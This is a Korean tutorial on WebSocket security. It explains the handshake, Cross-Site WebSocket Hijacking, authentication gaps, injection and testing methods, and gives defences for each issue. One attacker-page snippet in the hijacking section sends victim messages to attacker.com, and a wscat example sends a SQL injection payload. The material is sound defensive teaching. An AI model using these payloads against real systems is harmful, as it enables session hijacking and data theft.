WebSocket 보안: 실시간 통신의 숨겨진 취약점
WebSocket은 HTTP와 달리 지속적인 양방향 통신을 제공한다. 채팅, 게임, 실시간 대시보드 등 현대 웹앱에서 광범위하게 쓰이지만, 보안 설계가 허술한 경우가 많다.
WebSocket의 동작 원리
HTTP Upgrade 요청으로 연결을 시작한다.
GET /chat HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
이후 ws:// 또는 wss:// 프로토콜로 전환되며 상태 유지 채널이 열린다.
주요 취약점
1. Cross-Site WebSocket Hijacking (CSWSH)
WebSocket은 기본적으로 쿠키를 자동 포함한다. Origin 헤더를 검증하지 않으면 공격자 사이트에서 피해자의 세션으로 WS 연결이 가능하다.
// 공격자 페이지에서
const ws = new WebSocket("wss://victim.com/chat");
ws.onmessage = (e) => fetch("https://attacker.com/?d=" + e.data);
서버가 Origin 헤더를 무시하면 데이터 탈취가 성공한다.
방어: 서버 측에서 허용된 Origin만 연결을 수락하고, CSRF 토큰을 핸드셰이크 파라미터에 포함시킨다.
2. 인증 우회
일부 앱은 HTTP 요청에만 인증을 적용하고, Upgrade 이후 WS 메시지에는 검증을 생략한다.
- 메시지마다 토큰 재검증 필수
- WS 핸드셰이크 단계의 인증만으론 불충분
3. 입력값 처리 미흡
WS를 통한 XSS, SQL Injection, Command Injection도 HTTP와 동일하게 발생한다. 클라이언트에서 받은 메시지를 그대로 DOM에 삽입하거나 DB 쿼리에 사용하면 위험하다.
테스트 방법
Burp Suite의 WebSocket History 탭으로 메시지를 인터셉트·수정할 수 있다.
# wscat으로 수동 테스트
wscat -c wss://target.com/ws
> {"action":"getUser","id":"1 OR 1=1"}
CSWSH PoC 작성 시 피해자가 방문할 페이지에 WS 연결 코드를 심고, 응답 데이터를 외부로 전송한다.
CTF 팁
- WS 메시지 포맷이 JSON이면
__proto__Pollution 시도 - Binary 프레임을 사용하는 경우 opcode 분석 필요
- Race condition: 동시 메시지로 상태 경쟁 유발 가능
마무리
WebSocket은 편리하지만 기존 HTTP 보안 모델과 다르게 동작한다. Origin 검증, 메시지 단위 인증, 입력값 검증 세 가지를 반드시 챙기자.